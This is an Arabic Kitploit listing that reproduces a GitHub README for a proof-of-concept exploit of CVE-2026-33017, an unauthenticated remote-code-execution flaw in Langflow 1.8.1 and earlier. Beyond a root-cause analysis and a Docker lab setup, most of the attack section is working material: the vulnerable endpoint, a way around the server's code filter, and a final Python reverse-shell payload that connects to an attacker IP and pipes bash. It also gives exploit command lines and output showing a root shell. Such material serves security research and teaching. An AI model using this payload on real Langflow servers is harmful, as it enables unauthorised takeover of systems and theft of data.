Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33017 — استغلال PoC لثغرة RCE غير مصادَق عليها في Langflow <=1.8.1، بما في ذلك تحليل السبب الجذري على مستوى الكود المصدري، وحمولة reverse shell مدركة لـ AST، ومختبر Docker، وdiff التصحيح، وقواعد الكشف. | Kitploit
أدوات/GitHubGitHub/lxxexxbxx/cve-2026-33017
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

استغلال PoC لثغرة RCE غير مصادَق عليها في Langflow <=1.8.1، بما في ذلك تحليل السبب الجذري على مستوى الكود المصدري، وحمولة reverse shell مدركة لـ AST، ومختبر Docker، وdiff التصحيح، وقواعد الكشف.

عرض المستودع
1110منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017 — استغلال تنفيذ الأوامر عن بُعد (RCE) غير المصادق عليه في Langflow

إخلاء مسؤولية
تم إنشاء هذا المستودع لأغراض البحث الأمني والتعليم.
يُرجى استخدامه فقط في بيئات معزولة للتدريب العملي.
استخدامه ضد أنظمة غير مصرح بها يُعد انتهاكًا لقانون شبكات المعلومات والاتصالات ويعرّض مرتكبه لعقوبات جنائية.


1. نظرة عامة على الثغرة

البندالمحتوى
CVE IDCVE-2026-33017
البرنامج المصابLangflow (أداة بناء سير عمل الذكاء الاصطناعي)
الإصدارات المتأثرةLangflow ≤ 1.8.1
إصدار التصحيحLangflow ≥ 1.9.0
نوع الثغرةتنفيذ الأوامر عن بُعد (RCE) بدون مصادقة
CWECWE-306 (غياب المصادقة لوظيفة حرجة)
CVSS9.3 (حرجة)
CISA KEVمُدرجة

2. تحليل سبب الثغرة

2-1. نقطة النهاية المصابة

POST /api/v1/build_public_tmp/{flow_id}/flow

نقطة نهاية مخصصة لبناء التدفقات العامة (Public flows)، وقد صُممت لتكون قابلة للوصول بدون مصادقة.

2-2. مسار تنفيذ الكود (Call Chain)

مسار التنفيذ الذي تم التحقق منه بتتبّع الكود المصدري مباشرةً:

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← استلام مدخلات العميل كما هي (الثغرة)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← تمرير بيانات العميل كما هي
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← تنفيذ كود عشوائي

2-3. تصفية عقد AST — القيد الأساسي في تصميم الحمولة

لا تقوم دالة prepare_global_scope() بتنفيذ جميع تركيبات الكود المرسَل. بعد تحليل AST، يتم انتقاء أنواع عقد معينة فقط وتنفيذها:

# lfx/custom/validate.py — داخل prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ عُقد Expr غير مشمولة في أي فئة → لا يتم تنفيذها

exec(compiled_code, exec_globals)  # تنفيذ definitions فقط

أنواع عقد AST القابلة للتنفيذ:

نوع عقدة ASTمثالقابلية التنفيذ
FunctionDefdef _shell(): ...✅ ينفَّذ
ClassDefclass ExploitComponent(Component)✅ ينفَّذ
Assign_r = os.system("id")✅ ينفَّذ
AnnAssign_r: int = os.system("id")✅ ينفَّذ
Expros.system("id") (استدعاء منفرد)❌ يُتجاهَل

الخلاصة: يجب كتابة الحمولة بصيغة Assign (_r = ...) حتى يتم تنفيذها.
الاستدعاءات البسيطة للدوال (os.system("id")) تُصنَّف كعُقد Expr وتُحذف بواسطة الفلتر.

2-4. عملية تصميم حمولة الشل العكسي — تحليل المحاولات والفشل

خلال التدريب العملي تمت تجربة عدة طرق للحمولات، وتم تحديد سبب فشل كل منها على مستوى الكود المصدري.

المحاولة 1 — subprocess.Popen + wait() (فشلت)

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← حظر (Blocking) هنا

سبب الفشل: يراقب عامل (Worker) Langflow قيمة إرجاع المكوّن، وعند انتهاء المهلة يقوم بإغلاق المقبس (socket) قسريًا. وبذلك يصبح حظر _proc.wait() بلا معنى.

المحاولة 2 — الاستدعاء المباشر لـ os.execve() (فشلت)

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

سبب الفشل: وفقًا لقواعد POSIX، عند استدعاء execve() في عملية متعددة الخيوط، يتم إنهاء جميع الخيوط ما عدا خيط الاستدعاء → انهيار كامل لعامل uvicorn → HTTP 500.

المحاولة 3 — os.fork() + execve() (فشلت)

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

سبب الفشل: يكتشف uvicorn أن العملية الفرعية أُنهيت بشكل غير طبيعي فيعيد تشغيل العامل → HTTP 500.

المحاولة 4 — threading.Thread(daemon=True) (فشلت)

threading.Thread(target=_shell, daemon=True).start()

سبب الفشل: يتم إتلاف خيوط daemon=True مع انتهاء الخيط الرئيسي (عامل Langflow). ويموت الخيط قبل اكتمال محاولة connect().

الحمولة النهائية العاملة — threading.Thread(daemon=False) + Assign

# FunctionDef → ينفَّذ
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → ينفَّذ (الاستدعاء المنفرد عبر Expr يُستبعد من الفلتر، لذا يجب الإسناد إلى متغير)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

سبب اختيار daemon=False:

  • daemon=True → يُتلف مع إنهاء خيط عامل Langflow
  • daemon=False → دورة حياة مستقلة عن العامل → إمكانية الحفاظ على اتصال المقبس

3. إعداد بيئة التدريب العملي

3-1. بنية الملفات

CVE-2026-33017/
├── README.md
├── Dockerfile              # بيئة Langflow 1.8.1 المصابة
├── Dockerfile.attacker     # حاوية المهاجم (تشمل curl, nc, net-tools)
├── docker-compose.yml      # الخادم المصاب + حاوية المهاجم
├── entrypoint.sh           # تشغيل Langflow والإنشاء التلقائي للتدفق العام
├── exploit.py              # PoC الشل العكسي
└── poc.py                  # التحقق من RCE الأعمى / وجود الثغرة

3-2. تشغيل البيئة

# 1. بناء الحاويات وتشغيلها
docker compose up --build

# 2. التحقق من الوصول إلى واجهة Langflow
# http://localhost:7860
# admin / admin123!

# 3. معرفة عناوين الحاويات
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. بنية الشبكة

┌──────────────────────────────────────────────────┐
│  شبكة Docker الجسرية: poc-net                    │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (الضحية)  │
│  langflow-attacker   172.19.0.3       (المهاجم)  │
└──────────────────────────────────────────────────┘

4. طريقة استخدام PoC

4-1. exploit.py — شل عكسي

يتم التنفيذ داخل حاوية المهاجم:

docker exec -it langflow-attacker bash

# الوضع التلقائي (إصدار رمز + إنشاء تدفق عام + مستمع مدمج)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

الخيارات:

الخيارالوصفالقيمة الافتراضية
--urlعنوان URL الخاص بـ Langflow المستهدفإلزامي
--lhostعنوان IP لاستقبال اتصال الشل العكسيإلزامي
--lportمنفذ استقبال اتصال الشل العكسيإلزامي
--flow-idUUID التدفق العام (يُنشأ تلقائيًا عند الحذف)تلقائي
--userمعرف المسؤولadmin
--passwordكلمة مرور المسؤولadmin123!
--no-listenتعطيل المستمع المدمج (عند استخدام nc خارجي)False
--timeoutمهلة HTTP (بالثواني)30

المخرجات المتوقعة:

============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] جارٍ تسجيل الدخول... (admin)
[*] تم إصدار الرمز بنجاح
[*] جارٍ إنشاء التدفق العام...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] بدء المستمع → 0.0.0.0:4444
[*] نقطة النهاية : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] الاستدعاء       : 172.19.0.3:4444
[*] جارٍ إرسال الحمولة...
[*] استجابة HTTP  : 200

[+] تم الاتصال بالشل  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — التحقق من RCE الأعمى

يُستخدم للتحقق من وجود الثغرة فقط:

python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. إعادة الإنتاج يدويًا عبر curl

تنزيل الأداة